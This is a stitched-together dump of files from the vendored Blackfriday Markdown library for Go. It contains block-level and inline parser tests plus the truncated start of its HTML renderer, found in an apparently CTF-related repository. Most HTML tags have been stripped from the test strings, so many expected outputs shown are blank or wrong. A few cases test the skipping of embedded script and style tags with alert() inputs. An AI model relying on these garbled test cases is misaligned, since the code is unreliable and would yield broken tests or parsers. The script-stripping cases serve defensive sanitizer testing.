      Hello

      \n\n

      Header 1

      \n\n

      Goodbye

      \n", "* List\n# Header\n* List\n", "
        \n
      • List

        \n\n

        Header

      • \n\n
      • List

      • \n
      \n", "* List\n#Header\n* List\n", "
        \n
      • List\n#Header
      • \n
      • List
      • \n
      \n", "* List\n * Nested list\n # Nested header\n", "
        \n
      • List

        \n\n
          \n
        • Nested list

          \n\n" + "

          Nested header

        • \n
      • \n
      \n", } doTestsBlock(t, tests, EXTENSION_SPACE_HEADERS) } func TestUnderlineHeaders(t *testing.T) { var tests = []string{ "Header 1\n========\n", "

      Header 1

      \n", "Header 2\n--------\n", "

      Header 2

      \n", "A\n=\n", "

      A

      \n", "B\n-\n", "

      B

      \n", "Paragraph\nHeader\n=\n", "

      Paragraph

      \n\n

      Header

      \n", "Header\n===\nParagraph\n", "

      Header

      \n\n

      Paragraph

      \n", "Header\n===\nAnother header\n---\n", "

      Header

      \n\n

      Another header

      \n", " Header\n======\n", "

      Header

      \n", " Code\n========\n", "
      Code\n
      \n\n

      ========

      \n", "Header with *inline*\n=====\n", "

      Header with inline

      \n", "* List\n * Sublist\n Not a header\n ------\n", "
        \n
      • List\n\n
          \n
        • Sublist\nNot a header\n------
        • \n
      • \n
      \n", "Paragraph\n\n\n\n\nHeader\n===\n", "

      Paragraph

      \n\n

      Header

      \n", "Trailing space \n==== \n\n", "

      Trailing space

      \n", "Trailing spaces\n==== \n\n", "

      Trailing spaces

      \n", "Double underline\n=====\n=====\n", "

      Double underline

      \n\n

      =====

      \n", } doTestsBlock(t, tests, 0) } func TestHorizontalRule(t *testing.T) { var tests = []string{ "-\n", "

      -

      \n", "--\n", "

      --

      \n", "---\n", "
      \n", "----\n", "
      \n", "*\n", "

      *

      \n", "**\n", "

      **

      \n", "***\n", "
      \n", "****\n", "
      \n", "_\n", "

      _

      \n", "__\n", "

      __

      \n", "___\n", "
      \n", "____\n", "
      \n", "-*-\n", "

      -*-

      \n", "- - -\n", "
      \n", "* * *\n", "
      \n", "_ _ _\n", "
      \n", "-----*\n", "

      -----*

      \n", " ------ \n", "
      \n", "Hello\n***\n", "

      Hello

      \n\n
      \n", "---\n***\n___\n", "
      \n\n
      \n\n
      \n", } doTestsBlock(t, tests, 0) } func TestUnorderedList(t *testing.T) { var tests = []string{ "* Hello\n", "
        \n
      • Hello
      • \n
      \n", "* Yin\n* Yang\n", "
        \n
      • Yin
      • \n
      • Yang
      • \n
      \n", "* Ting\n* Bong\n* Goo\n", "
        \n
      • Ting
      • \n
      • Bong
      • \n
      • Goo
      • \n
      \n", "* Yin\n\n* Yang\n", "
        \n
      • Yin

      • \n\n
      • Yang

      • \n
      \n", "* Ting\n\n* Bong\n* Goo\n", "
        \n
      • Ting

      • \n\n
      • Bong

      • \n\n
      • Goo

      • \n
      \n", "+ Hello\n", "
        \n
      • Hello
      • \n
      \n", "+ Yin\n+ Yang\n", "
        \n
      • Yin
      • \n
      • Yang
      • \n
      \n", "+ Ting\n+ Bong\n+ Goo\n", "
        \n
      • Ting
      • \n
      • Bong
      • \n
      • Goo
      • \n
      \n", "+ Yin\n\n+ Yang\n", "
        \n
      • Yin

      • \n\n
      • Yang

      • \n
      \n", "+ Ting\n\n+ Bong\n+ Goo\n", "
        \n
      • Ting

      • \n\n
      • Bong

      • \n\n
      • Goo

      • \n
      \n", "- Hello\n", "
        \n
      • Hello
      • \n
      \n", "- Yin\n- Yang\n", "
        \n
      • Yin
      • \n
      • Yang
      • \n
      \n", "- Ting\n- Bong\n- Goo\n", "
        \n
      • Ting
      • \n
      • Bong
      • \n
      • Goo
      • \n
      \n", "- Yin\n\n- Yang\n", "
        \n
      • Yin

      • \n\n
      • Yang

      • \n
      \n", "- Ting\n\n- Bong\n- Goo\n", "
        \n
      • Ting

      • \n\n
      • Bong

      • \n\n
      • Goo

      • \n
      \n", "*Hello\n", "

      *Hello

      \n", "* Hello \n", "
        \n
      • Hello
      • \n
      \n", "* Hello \n Next line \n", "
        \n
      • Hello\nNext line
      • \n
      \n", "Paragraph\n* No linebreak\n", "

      Paragraph\n* No linebreak

      \n", "Paragraph\n\n* Linebreak\n", "

      Paragraph

      \n\n
        \n
      • Linebreak
      • \n
      \n", "* List\n * Nested list\n", "
        \n
      • List\n\n
          \n
        • Nested list
        • \n
      • \n
      \n", "* List\n\n * Nested list\n", "
        \n
      • List

        \n\n
          \n
        • Nested list
        • \n
      • \n
      \n", "* List\n Second line\n\n + Nested\n", "
        \n
      • List\nSecond line

        \n\n
          \n
        • Nested
        • \n
      • \n
      \n", "* List\n + Nested\n\n Continued\n", "
        \n
      • List

        \n\n
          \n
        • Nested
        • \n
        \n\n

        Continued

      • \n
      \n", "* List\n * shallow indent\n", "
        \n
      • List\n\n
          \n
        • shallow indent
        • \n
      • \n
      \n", "* List\n" + " * shallow indent\n" + " * part of second list\n" + " * still second\n" + " * almost there\n" + " * third level\n", "
        \n" + "
      • List\n\n" + "
          \n" + "
        • shallow indent
        • \n" + "
        • part of second list
        • \n" + "
        • still second
        • \n" + "
        • almost there\n\n" + "
            \n" + "
          • third level
          • \n" + "
        • \n" + "
      • \n" + "
      \n", "* List\n extra indent, same paragraph\n", "
        \n
      • List\n extra indent, same paragraph
      • \n
      \n", "* List\n\n code block\n", "
        \n
      • List

        \n\n
        code block\n
      • \n
      \n", "* List\n\n code block with spaces\n", "
        \n
      • List

        \n\n
          code block with spaces\n
      • \n
      \n", "* List\n\n * sublist\n\n normal text\n\n * another sublist\n", "
        \n
      • List

        \n\n
          \n
        • sublist
        • \n
        \n\n

        normal text

        \n\n
          \n
        • another sublist
        • \n
      • \n
      \n", } doTestsBlock(t, tests, 0) } func TestOrderedList(t *testing.T) { var tests = []string{ "1. Hello\n", "
        \n
      1. Hello
      2. \n
      \n", "1. Yin\n2. Yang\n", "
        \n
      1. Yin
      2. \n
      3. Yang
      4. \n
      \n", "1. Ting\n2. Bong\n3. Goo\n", "
        \n
      1. Ting
      2. \n
      3. Bong
      4. \n
      5. Goo
      6. \n
      \n", "1. Yin\n\n2. Yang\n", "
        \n
      1. Yin

      2. \n\n
      3. Yang

      4. \n
      \n", "1. Ting\n\n2. Bong\n3. Goo\n", "
        \n
      1. Ting

      2. \n\n
      3. Bong

      4. \n\n
      5. Goo

      6. \n
      \n", "1 Hello\n", "

      1 Hello

      \n", "1.Hello\n", "

      1.Hello

      \n", "1. Hello \n", "
        \n
      1. Hello
      2. \n
      \n", "1. Hello \n Next line \n", "
        \n
      1. Hello\nNext line
      2. \n
      \n", "Paragraph\n1. No linebreak\n", "

      Paragraph\n1. No linebreak

      \n", "Paragraph\n\n1. Linebreak\n", "

      Paragraph

      \n\n
        \n
      1. Linebreak
      2. \n
      \n", "1. List\n 1. Nested list\n", "
        \n
      1. List\n\n
          \n
        1. Nested list
        2. \n
      2. \n
      \n", "1. List\n\n 1. Nested list\n", "
        \n
      1. List

        \n\n
          \n
        1. Nested list
        2. \n
      2. \n
      \n", "1. List\n Second line\n\n 1. Nested\n", "
        \n
      1. List\nSecond line

        \n\n
          \n
        1. Nested
        2. \n
      2. \n
      \n", "1. List\n 1. Nested\n\n Continued\n", "
        \n
      1. List

        \n\n
          \n
        1. Nested
        2. \n
        \n\n

        Continued

      2. \n
      \n", "1. List\n 1. shallow indent\n", "
        \n
      1. List\n\n
          \n
        1. shallow indent
        2. \n
      2. \n
      \n", "1. List\n" + " 1. shallow indent\n" + " 2. part of second list\n" + " 3. still second\n" + " 4. almost there\n" + " 1. third level\n", "
        \n" + "
      1. List\n\n" + "
          \n" + "
        1. shallow indent
        2. \n" + "
        3. part of second list
        4. \n" + "
        5. still second
        6. \n" + "
        7. almost there\n\n" + "
            \n" + "
          1. third level
          2. \n" + "
        8. \n" + "
      2. \n" + "
      \n", "1. List\n extra indent, same paragraph\n", "
        \n
      1. List\n extra indent, same paragraph
      2. \n
      \n", "1. List\n\n code block\n", "
        \n
      1. List

        \n\n
        code block\n
      2. \n
      \n", "1. List\n\n code block with spaces\n", "
        \n
      1. List

        \n\n
          code block with spaces\n
      2. \n
      \n", "1. List\n * Mixted list\n", "
        \n
      1. List\n\n
          \n
        • Mixted list
        • \n
      2. \n
      \n", "1. List\n * Mixed list\n", "
        \n
      1. List\n\n
          \n
        • Mixed list
        • \n
      2. \n
      \n", "* Start with unordered\n 1. Ordered\n", "
        \n
      • Start with unordered\n\n
          \n
        1. Ordered
        2. \n
      • \n
      \n", "* Start with unordered\n 1. Ordered\n", "
        \n
      • Start with unordered\n\n
          \n
        1. Ordered
        2. \n
      • \n
      \n", "1. numbers\n1. are ignored\n", "
        \n
      1. numbers
      2. \n
      3. are ignored
      4. \n
      \n", } doTestsBlock(t, tests, 0) } func TestPreformattedHtml(t *testing.T) { var tests = []string{ "
      \n", "
      \n", "
      \n
      \n", "
      \n
      \n", "
      \n
      \nParagraph\n", "

      \n
      \nParagraph

      \n", "
      \n
      \n", "
      \n
      \n", "
      \nAnything here\n
      \n", "
      \nAnything here\n
      \n", "
      \n Anything here\n
      \n", "
      \n Anything here\n
      \n", "
      \nAnything here\n
      \n", "
      \nAnything here\n
      \n", "
      \nThis is *not* &proceessed\n
      \n", "
      \nThis is *not* &proceessed\n
      \n", "\n Something\n\n", "

      \n Something\n

      \n", "
      \n Something here\n\n", "

      \n Something here\n

      \n", "Paragraph\n
      \nHere? >&<\n
      \n", "

      Paragraph\n

      \nHere? >&<\n

      \n", "Paragraph\n\n
      \nHow about here? >&<\n
      \n", "

      Paragraph

      \n\n
      \nHow about here? >&<\n
      \n", "Paragraph\n
      \nHere? >&<\n
      \nAnd here?\n", "

      Paragraph\n

      \nHere? >&<\n
      \nAnd here?

      \n", "Paragraph\n\n
      \nHow about here? >&<\n
      \nAnd here?\n", "

      Paragraph

      \n\n

      \nHow about here? >&<\n
      \nAnd here?

      \n", "Paragraph\n
      \nHere? >&<\n
      \n\nAnd here?\n", "

      Paragraph\n

      \nHere? >&<\n

      \n\n

      And here?

      \n", "Paragraph\n\n
      \nHow about here? >&<\n
      \n\nAnd here?\n", "

      Paragraph

      \n\n
      \nHow about here? >&<\n
      \n\n

      And here?

      \n", } doTestsBlock(t, tests, 0) } func TestPreformattedHtmlLax(t *testing.T) { var tests = []string{ "Paragraph\n
      \nHere? >&<\n
      \n", "

      Paragraph

      \n\n
      \nHere? >&<\n
      \n", "Paragraph\n\n
      \nHow about here? >&<\n
      \n", "

      Paragraph

      \n\n
      \nHow about here? >&<\n
      \n", "Paragraph\n
      \nHere? >&<\n
      \nAnd here?\n", "

      Paragraph

      \n\n
      \nHere? >&<\n
      \n\n

      And here?

      \n", "Paragraph\n\n
      \nHow about here? >&<\n
      \nAnd here?\n", "

      Paragraph

      \n\n
      \nHow about here? >&<\n
      \n\n

      And here?

      \n", "Paragraph\n
      \nHere? >&<\n
      \n\nAnd here?\n", "

      Paragraph

      \n\n
      \nHere? >&<\n
      \n\n

      And here?

      \n", "Paragraph\n\n
      \nHow about here? >&<\n
      \n\nAnd here?\n", "

      Paragraph

      \n\n
      \nHow about here? >&<\n
      \n\n

      And here?

      \n", } doTestsBlock(t, tests, EXTENSION_LAX_HTML_BLOCKS) } func TestFencedCodeBlock(t *testing.T) { var tests = []string{ "``` go\nfunc foo() bool {\n\treturn true;\n}\n```\n", "
      func foo() bool {\n    return true;\n}\n
      \n", "``` c\n/* special & char < > \" escaping */\n```\n", "
      /* special & char < > " escaping */\n
      \n", "``` c\nno *inline* processing ~~of text~~\n```\n", "
      no *inline* processing ~~of text~~\n
      \n", "```\nNo language\n```\n", "
      No language\n
      \n", "``` {ocaml}\nlanguage in braces\n```\n", "
      language in braces\n
      \n", "``` {ocaml} \nwith extra whitespace\n```\n", "
      with extra whitespace\n
      \n", "```{ ocaml }\nwith extra whitespace\n```\n", "
      with extra whitespace\n
      \n", "~ ~~ java\nWith whitespace\n~~~\n", "

      ~ ~~ java\nWith whitespace\n~~~

      \n", "~~\nonly two\n~~\n", "

      ~~\nonly two\n~~

      \n", "```` python\nextra\n````\n", "
      extra\n
      \n", "~~~ perl\nthree to start, four to end\n~~~~\n", "

      ~~~ perl\nthree to start, four to end\n~~~~

      \n", "~~~~ perl\nfour to start, three to end\n~~~\n", "

      ~~~~ perl\nfour to start, three to end\n~~~

      \n", "~~~ bash\ntildes\n~~~\n", "
      tildes\n
      \n", "``` lisp\nno ending\n", "

      ``` lisp\nno ending

      \n", "~~~ lisp\nend with language\n~~~ lisp\n", "

      ~~~ lisp\nend with language\n~~~ lisp

      \n", "```\nmismatched begin and end\n~~~\n", "

      ```\nmismatched begin and end\n~~~

      \n", "~~~\nmismatched begin and end\n```\n", "

      ~~~\nmismatched begin and end\n```

      \n", " ``` oz\nleading spaces\n```\n", "
      leading spaces\n
      \n", " ``` oz\nleading spaces\n ```\n", "
      leading spaces\n
      \n", " ``` oz\nleading spaces\n ```\n", "
      leading spaces\n
      \n", "``` oz\nleading spaces\n ```\n", "
      leading spaces\n
      \n", " ``` oz\nleading spaces\n ```\n", "
      ``` oz\n
      \n\n

      leading spaces\n ```

      \n", } doTestsBlock(t, tests, EXTENSION_FENCED_CODE) } func TestTable(t *testing.T) { var tests = []string{ "a | b\n---|---\nc | d\n", "\n\n\n\n\n\n\n\n" + "\n\n\n\n\n\n
      ab
      cd
      \n", "a | b\n---|--\nc | d\n", "

      a | b\n---|--\nc | d

      \n", "|a|b|c|d|\n|----|----|----|---|\n|e|f|g|h|\n", "\n\n\n\n\n\n\n\n\n\n" + "\n\n\n\n\n\n\n\n
      abcd
      efgh
      \n", "*a*|__b__|[c](C)|d\n---|---|---|---\ne|f|g|h\n", "\n\n\n\n\n\n\n\n\n\n" + "\n\n\n\n\n\n\n\n
      abcd
      efgh
      \n", "a|b|c\n---|---|---\nd|e|f\ng|h\ni|j|k|l|m\nn|o|p\n", "\n\n\n\n\n\n\n\n\n" + "\n\n\n\n\n\n\n" + "\n\n\n\n\n\n" + "\n\n\n\n\n\n" + "\n\n\n\n\n\n
      abc
      def
      gh
      ijk
      nop
      \n", "a|b|c\n---|---|---\n*d*|__e__|f\n", "\n\n\n\n\n\n\n\n\n" + "\n\n\n\n\n\n\n
      abc
      def
      \n", "a|b|c|d\n:--|--:|:-:|---\ne|f|g|h\n", "\n\n\n\n\n" + "\n\n\n\n\n" + "\n\n\n\n" + "\n\n\n\n
      abcd
      efgh
      \n", "a|b|c\n---|---|---\n", "\n\n\n\n\n\n\n\n\n\n\n
      abc
      \n", "a| b|c | d | e\n---|---|---|---|---\nf| g|h | i |j\n", "\n\n\n\n\n\n\n\n\n\n\n" + "\n\n\n\n\n\n\n\n\n
      abcde
      fghij
      \n", "a|b\\|c|d\n---|---|---\nf|g\\|h|i\n", "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
      ab|cd
      fg|hi
      \n", } doTestsBlock(t, tests, EXTENSION_TABLES) } func TestUnorderedListWith_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) { var tests = []string{ "* Hello\n", "
        \n
      • Hello
      • \n
      \n", "* Yin\n* Yang\n", "
        \n
      • Yin
      • \n
      • Yang
      • \n
      \n", "* Ting\n* Bong\n* Goo\n", "
        \n
      • Ting
      • \n
      • Bong
      • \n
      • Goo
      • \n
      \n", "* Yin\n\n* Yang\n", "
        \n
      • Yin

      • \n\n
      • Yang

      • \n
      \n", "* Ting\n\n* Bong\n* Goo\n", "
        \n
      • Ting

      • \n\n
      • Bong

      • \n\n
      • Goo

      • \n
      \n", "+ Hello\n", "
        \n
      • Hello
      • \n
      \n", "+ Yin\n+ Yang\n", "
        \n
      • Yin
      • \n
      • Yang
      • \n
      \n", "+ Ting\n+ Bong\n+ Goo\n", "
        \n
      • Ting
      • \n
      • Bong
      • \n
      • Goo
      • \n
      \n", "+ Yin\n\n+ Yang\n", "
        \n
      • Yin

      • \n\n
      • Yang

      • \n
      \n", "+ Ting\n\n+ Bong\n+ Goo\n", "
        \n
      • Ting

      • \n\n
      • Bong

      • \n\n
      • Goo

      • \n
      \n", "- Hello\n", "
        \n
      • Hello
      • \n
      \n", "- Yin\n- Yang\n", "
        \n
      • Yin
      • \n
      • Yang
      • \n
      \n", "- Ting\n- Bong\n- Goo\n", "
        \n
      • Ting
      • \n
      • Bong
      • \n
      • Goo
      • \n
      \n", "- Yin\n\n- Yang\n", "
        \n
      • Yin

      • \n\n
      • Yang

      • \n
      \n", "- Ting\n\n- Bong\n- Goo\n", "
        \n
      • Ting

      • \n\n
      • Bong

      • \n\n
      • Goo

      • \n
      \n", "*Hello\n", "

      *Hello

      \n", "* Hello \n", "
        \n
      • Hello
      • \n
      \n", "* Hello \n Next line \n", "
        \n
      • Hello\nNext line
      • \n
      \n", "Paragraph\n* No linebreak\n", "

      Paragraph

      \n\n
        \n
      • No linebreak
      • \n
      \n", "Paragraph\n\n* Linebreak\n", "

      Paragraph

      \n\n
        \n
      • Linebreak
      • \n
      \n", "* List\n * Nested list\n", "
        \n
      • List\n\n
          \n
        • Nested list
        • \n
      • \n
      \n", "* List\n\n * Nested list\n", "
        \n
      • List

        \n\n
          \n
        • Nested list
        • \n
      • \n
      \n", "* List\n Second line\n\n + Nested\n", "
        \n
      • List\nSecond line

        \n\n
          \n
        • Nested
        • \n
      • \n
      \n", "* List\n + Nested\n\n Continued\n", "
        \n
      • List

        \n\n
          \n
        • Nested
        • \n
        \n\n

        Continued

      • \n
      \n", "* List\n * shallow indent\n", "
        \n
      • List\n\n
          \n
        • shallow indent
        • \n
      • \n
      \n", "* List\n" + " * shallow indent\n" + " * part of second list\n" + " * still second\n" + " * almost there\n" + " * third level\n", "
        \n" + "
      • List\n\n" + "
          \n" + "
        • shallow indent
        • \n" + "
        • part of second list
        • \n" + "
        • still second
        • \n" + "
        • almost there\n\n" + "
            \n" + "
          • third level
          • \n" + "
        • \n" + "
      • \n" + "
      \n", "* List\n extra indent, same paragraph\n", "
        \n
      • List\n extra indent, same paragraph
      • \n
      \n", "* List\n\n code block\n", "
        \n
      • List

        \n\n
        code block\n
      • \n
      \n", "* List\n\n code block with spaces\n", "
        \n
      • List

        \n\n
          code block with spaces\n
      • \n
      \n", "* List\n\n * sublist\n\n normal text\n\n * another sublist\n", "
        \n
      • List

        \n\n
          \n
        • sublist
        • \n
        \n\n

        normal text

        \n\n
          \n
        • another sublist
        • \n
      • \n
      \n", } doTestsBlock(t, tests, EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK) } func TestOrderedList_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) { var tests = []string{ "1. Hello\n", "
        \n
      1. Hello
      2. \n
      \n", "1. Yin\n2. Yang\n", "
        \n
      1. Yin
      2. \n
      3. Yang
      4. \n
      \n", "1. Ting\n2. Bong\n3. Goo\n", "
        \n
      1. Ting
      2. \n
      3. Bong
      4. \n
      5. Goo
      6. \n
      \n", "1. Yin\n\n2. Yang\n", "
        \n
      1. Yin

      2. \n\n
      3. Yang

      4. \n
      \n", "1. Ting\n\n2. Bong\n3. Goo\n", "
        \n
      1. Ting

      2. \n\n
      3. Bong

      4. \n\n
      5. Goo

      6. \n
      \n", "1 Hello\n", "

      1 Hello

      \n", "1.Hello\n", "

      1.Hello

      \n", "1. Hello \n", "
        \n
      1. Hello
      2. \n
      \n", "1. Hello \n Next line \n", "
        \n
      1. Hello\nNext line
      2. \n
      \n", "Paragraph\n1. No linebreak\n", "

      Paragraph

      \n\n
        \n
      1. No linebreak
      2. \n
      \n", "Paragraph\n\n1. Linebreak\n", "

      Paragraph

      \n\n
        \n
      1. Linebreak
      2. \n
      \n", "1. List\n 1. Nested list\n", "
        \n
      1. List\n\n
          \n
        1. Nested list
        2. \n
      2. \n
      \n", "1. List\n\n 1. Nested list\n", "
        \n
      1. List

        \n\n
          \n
        1. Nested list
        2. \n
      2. \n
      \n", "1. List\n Second line\n\n 1. Nested\n", "
        \n
      1. List\nSecond line

        \n\n
          \n
        1. Nested
        2. \n
      2. \n
      \n", "1. List\n 1. Nested\n\n Continued\n", "
        \n
      1. List

        \n\n
          \n
        1. Nested
        2. \n
        \n\n

        Continued

      2. \n
      \n", "1. List\n 1. shallow indent\n", "
        \n
      1. List\n\n
          \n
        1. shallow indent
        2. \n
      2. \n
      \n", "1. List\n" + " 1. shallow indent\n" + " 2. part of second list\n" + " 3. still second\n" + " 4. almost there\n" + " 1. third level\n", "
        \n" + "
      1. List\n\n" + "
          \n" + "
        1. shallow indent
        2. \n" + "
        3. part of second list
        4. \n" + "
        5. still second
        6. \n" + "
        7. almost there\n\n" + "
            \n" + "
          1. third level
          2. \n" + "
        8. \n" + "
      2. \n" + "
      \n", "1. List\n extra indent, same paragraph\n", "
        \n
      1. List\n extra indent, same paragraph
      2. \n
      \n", "1. List\n\n code block\n", "
        \n
      1. List

        \n\n
        code block\n
      2. \n
      \n", "1. List\n\n code block with spaces\n", "
        \n
      1. List

        \n\n
          code block with spaces\n
      2. \n
      \n", "1. List\n * Mixted list\n", "
        \n
      1. List\n\n
          \n
        • Mixted list
        • \n
      2. \n
      \n", "1. List\n * Mixed list\n", "
        \n
      1. List\n\n
          \n
        • Mixed list
        • \n
      2. \n
      \n", "* Start with unordered\n 1. Ordered\n", "
        \n
      • Start with unordered\n\n
          \n
        1. Ordered
        2. \n
      • \n
      \n", "* Start with unordered\n 1. Ordered\n", "
        \n
      • Start with unordered\n\n
          \n
        1. Ordered
        2. \n
      • \n
      \n", "1. numbers\n1. are ignored\n", "
        \n
      1. numbers
      2. \n
      3. are ignored
      4. \n
      \n", } doTestsBlock(t, tests, EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK) } func TestFencedCodeBlock_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) { var tests = []string{ "``` go\nfunc foo() bool {\n\treturn true;\n}\n```\n", "
      func foo() bool {\n    return true;\n}\n
      \n", "``` c\n/* special & char < > \" escaping */\n```\n", "
      /* special & char < > " escaping */\n
      \n", "``` c\nno *inline* processing ~~of text~~\n```\n", "
      no *inline* processing ~~of text~~\n
      \n", "```\nNo language\n```\n", "
      No language\n
      \n", "``` {ocaml}\nlanguage in braces\n```\n", "
      language in braces\n
      \n", "``` {ocaml} \nwith extra whitespace\n```\n", "
      with extra whitespace\n
      \n", "```{ ocaml }\nwith extra whitespace\n```\n", "
      with extra whitespace\n
      \n", "~ ~~ java\nWith whitespace\n~~~\n", "

      ~ ~~ java\nWith whitespace\n~~~

      \n", "~~\nonly two\n~~\n", "

      ~~\nonly two\n~~

      \n", "```` python\nextra\n````\n", "
      extra\n
      \n", "~~~ perl\nthree to start, four to end\n~~~~\n", "

      ~~~ perl\nthree to start, four to end\n~~~~

      \n", "~~~~ perl\nfour to start, three to end\n~~~\n", "

      ~~~~ perl\nfour to start, three to end\n~~~

      \n", "~~~ bash\ntildes\n~~~\n", "
      tildes\n
      \n", "``` lisp\nno ending\n", "

      ``` lisp\nno ending

      \n", "~~~ lisp\nend with language\n~~~ lisp\n", "

      ~~~ lisp\nend with language\n~~~ lisp

      \n", "```\nmismatched begin and end\n~~~\n", "

      ```\nmismatched begin and end\n~~~

      \n", "~~~\nmismatched begin and end\n```\n", "

      ~~~\nmismatched begin and end\n```

      \n", " ``` oz\nleading spaces\n```\n", "
      leading spaces\n
      \n", " ``` oz\nleading spaces\n ```\n", "
      leading spaces\n
      \n", " ``` oz\nleading spaces\n ```\n", "
      leading spaces\n
      \n", "``` oz\nleading spaces\n ```\n", "
      leading spaces\n
      \n", " ``` oz\nleading spaces\n ```\n", "
      ``` oz\n
      \n\n

      leading spaces

      \n\n
      ```\n
      \n", } doTestsBlock(t, tests, EXTENSION_FENCED_CODE|EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/html.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // // HTML rendering backend // // package blackfriday import ( "bytes" "fmt" "strconv" "strings" ) // Html renderer configuration options. const ( HTML_SKIP_HTML = 1 << iota // skip preformatted HTML blocks HTML_SKIP_STYLE // skip embedded \n", "

      zz p {}

      \n", "zz \n", "

      zz p {}

      \n", "\n", "

      alert()

      \n", "zz \n", "

      zz alert()

      \n", "zz \n", "

      zz alert()

      \n", " \n", "

      alert()

      \n", "\n", "

      alert()

      \n", "\n", "

      \n", "zz \n", "

      zz

      \n", "zz \n", "

      zz

      \n", } doTestsInlineParam(t, tests, 0, HTML_SKIP_STYLE|HTML_SKIP_SCRIPT) } func TestEmphasis(t *testing.T) { var tests = []string{ "nothing inline\n", "

      nothing inline

      \n", "simple *inline* test\n", "

      simple inline test

      \n", "*at the* beginning\n", "

      at the beginning

      \n", "at the *end*\n", "

      at the end

      \n", "*try two* in *one line*\n", "

      try two in one line

      \n", "over *two\nlines* test\n", "

      over two\nlines test

      \n", "odd *number of* markers* here\n", "

      odd number of markers* here

      \n", "odd *number\nof* markers* here\n", "

      odd number\nof markers* here

      \n", "simple _inline_ test\n", "

      simple inline test

      \n", "_at the_ beginning\n", "

      at the beginning

      \n", "at the _end_\n", "

      at the end

      \n", "_try two_ in _one line_\n", "

      try two in one line

      \n", "over _two\nlines_ test\n", "

      over two\nlines test

      \n", "odd _number of_ markers_ here\n", "

      odd number of markers_ here

      \n", "odd _number\nof_ markers_ here\n", "

      odd number\nof markers_ here

      \n", "mix of *markers_\n", "

      mix of *markers_

      \n", } doTestsInline(t, tests) } func TestStrong(t *testing.T) { var tests = []string{ "nothing inline\n", "

      nothing inline

      \n", "simple **inline** test\n", "

      simple inline test

      \n", "**at the** beginning\n", "

      at the beginning

      \n", "at the **end**\n", "

      at the end

      \n", "**try two** in **one line**\n", "

      try two in one line

      \n", "over **two\nlines** test\n", "

      over two\nlines test

      \n", "odd **number of** markers** here\n", "

      odd number of markers** here

      \n", "odd **number\nof** markers** here\n", "

      odd number\nof markers** here

      \n", "simple __inline__ test\n", "

      simple inline test

      \n", "__at the__ beginning\n", "

      at the beginning

      \n", "at the __end__\n", "

      at the end

      \n", "__try two__ in __one line__\n", "

      try two in one line

      \n", "over __two\nlines__ test\n", "

      over two\nlines test

      \n", "odd __number of__ markers__ here\n", "

      odd number of markers__ here

      \n", "odd __number\nof__ markers__ here\n", "

      odd number\nof markers__ here

      \n", "mix of **markers__\n", "

      mix of **markers__

      \n", } doTestsInline(t, tests) } func TestEmphasisMix(t *testing.T) { var tests = []string{ "***triple emphasis***\n", "

      triple emphasis

      \n", "***triple\nemphasis***\n", "

      triple\nemphasis

      \n", "___triple emphasis___\n", "

      triple emphasis

      \n", "***triple emphasis___\n", "

      ***triple emphasis___

      \n", "*__triple emphasis__*\n", "

      triple emphasis

      \n", "__*triple emphasis*__\n", "

      triple emphasis

      \n", "**improper *nesting** is* bad\n", "

      improper *nesting is* bad

      \n", "*improper **nesting* is** bad\n", "

      improper **nesting is** bad

      \n", } doTestsInline(t, tests) } func TestStrikeThrough(t *testing.T) { var tests = []string{ "nothing inline\n", "

      nothing inline

      \n", "simple ~~inline~~ test\n", "

      simple inline test

      \n", "~~at the~~ beginning\n", "

      at the beginning

      \n", "at the ~~end~~\n", "

      at the end

      \n", "~~try two~~ in ~~one line~~\n", "

      try two in one line

      \n", "over ~~two\nlines~~ test\n", "

      over two\nlines test

      \n", "odd ~~number of~~ markers~~ here\n", "

      odd number of markers~~ here

      \n", "odd ~~number\nof~~ markers~~ here\n", "

      odd number\nof markers~~ here

      \n", } doTestsInline(t, tests) } func TestCodeSpan(t *testing.T) { var tests = []string{ "`source code`\n", "

      source code

      \n", "` source code with spaces `\n", "

      source code with spaces

      \n", "` source code with spaces `not here\n", "

      source code with spacesnot here

      \n", "a `single marker\n", "

      a `single marker

      \n", "a single multi-tick marker with ``` no text\n", "

      a single multi-tick marker with ``` no text

      \n", "markers with ` ` a space\n", "

      markers with a space

      \n", "`source code` and a `stray\n", "

      source code and a `stray

      \n", "`source *with* _awkward characters_ in it`\n", "

      source *with* _awkward characters_ in it

      \n", "`split over\ntwo lines`\n", "

      split over\ntwo lines

      \n", "```multiple ticks``` for the marker\n", "

      multiple ticks for the marker

      \n", "```multiple ticks `with` ticks inside```\n", "

      multiple ticks `with` ticks inside

      \n", } doTestsInline(t, tests) } func TestLineBreak(t *testing.T) { var tests = []string{ "this line \nhas a break\n", "

      this line
      \nhas a break

      \n", "this line \ndoes not\n", "

      this line\ndoes not

      \n", "this has an \nextra space\n", "

      this has an
      \nextra space

      \n", } doTestsInline(t, tests) } func TestInlineLink(t *testing.T) { var tests = []string{ "[foo](/bar/)\n", "

      foo

      \n", "[foo with a title](/bar/ \"title\")\n", "

      foo with a title

      \n", "[foo with a title](/bar/\t\"title\")\n", "

      foo with a title

      \n", "[foo with a title](/bar/ \"title\" )\n", "

      foo with a title

      \n", "[foo with a title](/bar/ title with no quotes)\n", "

      foo with a title

      \n", "[foo]()\n", "

      [foo]()

      \n", "![foo](/bar/)\n", "

      \"foo\"\n

      \n", "![foo with a title](/bar/ \"title\")\n", "

      \"foo\n

      \n", "![foo with a title](/bar/\t\"title\")\n", "

      \"foo\n

      \n", "![foo with a title](/bar/ \"title\" )\n", "

      \"foo\n

      \n", "![foo with a title](/bar/ title with no quotes)\n", "

      \"foo\n

      \n", "![foo]()\n", "

      ![foo]()

      \n", "[a link]\t(/with_a_tab/)\n", "

      a link

      \n", "[a link] (/with_spaces/)\n", "

      a link

      \n", "[text (with) [[nested] (brackets)]](/url/)\n", "

      text (with) [[nested] (brackets)]

      \n", "[text (with) [broken nested] (brackets)]](/url/)\n", "

      [text (with) broken nested]](/url/)

